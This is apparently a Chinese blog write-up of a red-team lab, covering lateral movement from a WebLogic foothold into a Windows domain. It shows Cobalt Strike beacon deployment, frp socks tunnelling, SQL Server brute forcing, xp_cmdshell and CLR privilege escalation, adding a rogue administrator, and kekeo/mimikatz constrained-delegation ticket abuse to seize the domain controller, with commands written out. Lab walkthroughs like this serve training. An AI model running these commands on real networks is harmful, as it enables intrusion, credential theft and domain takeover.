漏洞靶场实战-红队靶场从外网 Weblogic 打进内网,再到约束委派接管域控(下)

695 阅读5分钟

持续创作,加速成长!这是我参与「掘金日新计划 · 6 月更文挑战」的第19天,点击查看活动详情

4.二层内网域渗透

PS:因为我的电脑重启地址基本都换了,更新下 IP,需要重新搭 frp 和 msf 连接

server 2012 weblogic:192.168.43.93

kali:192.168.43.99

win7上线cs

在 cs 中 win7 中转上线,现在上线 cs 的几种思路

  1. msf 上传 cs 的后门 exe 执行
  2. msf 的 meterpeter spawn 到 cs 会话
  3. cs 通过 ipc$ 上传 cs 后门到 win7 靶机通过计划任务执行

使用方案一

1.CS 设置中转监听器

image-20220508111333148

image-20220508111338364

2.生成后门

image-20220508131115128

把后门上传到 kali,然后在 msf 中使用命令上传到靶机 win7

image-20220508132517982

进入 shell,执行 beacon.exe

image-20220508132547578

成功上线 cs

image-20220508132607160

内网信息收集

  • shell whoami
    

    image-20220508132840943

    shell ipconfig
    

    发现内网 10.10.10.0/24 段

    image-20220508132931259

  • 判断是否域环境

    shell ipconfig /all
    

    image-20220508133208864

    shell net user /domain
    

    image-20220508133248296

  • 确定域控主机 IP

    net group "Domain Controllers" /domain
    或者 net time /domain
    ping owa -n 2
    

    image-20220508133655941

    image-20220508133445538

当前进程是没有域管的,所以暂且放弃令牌窃取

image-20220508134529747

由于我们已经通过 ms17010 -> mimikatz 拿到了一个域用户的账户密码,尝试查找约束委派的用户

首先向 win7 靶机上传 adfind 工具

# 查询配置了非约束委派的主机:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
# 查询配置了非约束委派的用户:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
# 查询配置了约束委派的主机:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

# 查询配置了约束委派的用户:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

image-20220508135251614

找到了一个 sqlserver 的用户是被设置了约束委派,得想办法搞到这个用户的账密

上传 fscan.exe 到靶机进行信息收集和漏洞扫描

image-20220508154210862

PS:如果没有扫到 1433 端口,就进虚拟机把 SQL server 启动,启动不了

看这篇文章:链接,因为过试用期了,需要升级重新输入密码

正常启动

image-20220508154057558

根据他开放的端口尝试以下操作:

  1. 80 端口 web 漏洞
  2. 1433 SQL server 漏洞
  3. 445 smb 等端口系统漏洞

其他拿域控思路:域控被突破的几种途径v2

二层Frp代理

现在尝试 80 端口漏洞

image-20220508161840412

  1. 搭建使用 frp 多层代理,修改 weblogic 的 frp 配置文件,weblogic 既是客户端,也是服务端,需要修改 frps.ini,通过 cs 上传 frps 和 frps.ini

    image-20220508155905811

    启动 frps

    shell frps.exe -c frps.ini
    
  2. 数据服务器开启 frpc

    shell frpc.exe -c frpc.ini
    
    [common]
    server_addr = 10.10.20.12
    server_port = 1111
    
    [http_proxy]
    type = tcp
    remote_port = 7777
    plugin = socks5
    

    建立链接

    image-20220508162507851

    image-20220508162514238

  3. 在攻击者的 windows 电脑上可以用 proxifier 设置代理链

    image-20220508162704748

    image-20220508162717407

    在攻击者的 windows 电脑上可以正常访问 10.10.10.18

    image-20220508162922505

发现 80 端口并没有什么利用点,尝试利用 SQL sever,因为现在搭建了二层代理所以部分操作可以用 windows 物理机直接攻击

打数据服务器SQL server

尝试爆破 SQL server 密码

使用工具成功爆破用户密码

image-20220508163342992

可以看到流量被转发

image-20220508163339943

这样就拿到了域控主机的 SQL server 密码

随后利用 SharpSQLTools.exe 工具对其进行 xp_cmdshell 调用系统命令,或者 SqlKnife 这个工具

.\SharpSQLTools.exe 10.10.10.18 sa sa master xp_cmdshell whoami

image-20220508164101746

却认为域控 ip

image-20220508164215612

目前的权限是nt authority\network service 即为普通服务权限,

由于目标机器不出网不存在让他下载我们的 exe,随后使用 MSF + Proxychains 调用 xpcmdshell 模块上线到 MSF,但是失败了

image-20220508164827961

既然上线失败且目标是 iis,那么想办法找到 iis 到目录写个一句话吧

一般 iis 的目录是:C:\inetpub\wwwroot,那么查看下是否存在

image-20220508165057165

确实存在此目录,尝试写入文件,权限太小失败

image-20220508165248135

在 MSSQL 中使用 CLR 组件提权,提权原理可以看这篇文章:www.anquanke.com/post/id/250…

在搜这个提权的时候还发现了一个华点就是搜关键词 install_clr 就可以搜到这个靶场的 wp

使用 SharpSQLTools 开启目标 clr,进行提权

SharpSQLTools.exe 10.10.10.18 sa sa master install_clr whoami

image-20220508165906554

然后启用并调用命令:

SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami

image-20220508170007322

提权成功,只能说太牛皮了

添加一个管理员权限用户,用户名为 ocean.com 密码为 qwe.123

SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net user ocean.com qwe.123 /add"

image-20220508170331564

升级为 admin 组

SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net localgroup administrators ocean.com /add"

image-20220508170508054

查看用户

SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net user"

image-20220508170619457

其他师傅试了多种方法都不行,他们最终选择了 msf,我就直接用 msf 了,其他师傅的文章可以在参考连接中找到

上线CS

漏洞利用拿下的 win7 做中继,用 CS 生成马,通过 meterpreter 传上去 msf 的 payload,但是需要首先为 kali 设置代理,因为之前使用 frp 搭建了二层隧道,所以这里只需要设置 proxychains 的配置文件即可

1.设置 kali proxychains 代理保证 kali msf 可以访问到 10.10.10.18

vi /etc/proxychains.conf

代理链就和 Windows 物理机一样

image-20220508172723808

2.上线 msf

使用代理启动 msf

proxychains msfconsole

使用 mssql_clr_payload 模块

use exploit/windows/mssql/mssql_clr_payload

image-20220508172257116

3.生成中转上线的 cs 马,新建一个监听器,这里需要多层代理

生成 beacon.exe

4.通过 msf 上传 beacon.exe 并且执行,上线 sc,但是只有服务权限

使用 SharpSQLTools.exe 去执行 beacon,获取高权限用户,拿到 SQL server 主机

5.域内委派拿域控

cs 中拿到用户密码

image-20220509080607350

之前信息搜集的时候我们知道 sqlserver 是一个约束委派的用户,我们可以通过约束委派攻击来接管域控

通过 cs 上传工具 kekeo,利用 kekeo 请求该用户的 TGT:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi

kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi"

然后使用这张 TGT (TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi) 获取域机器的 ST:TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi

kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red"

image-20220509082530523

使用 mimikatz 将 ST2 导入当前会话即可,运行 mimikatz 进行 ptt:

mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi

image-20220509082625206

image-20220509082653026

参考链接

moonflower.fun/index.php/2…

mp.weixin.qq.com/s/dcYbIfLwN…

xie.infoq.cn/article/2ed…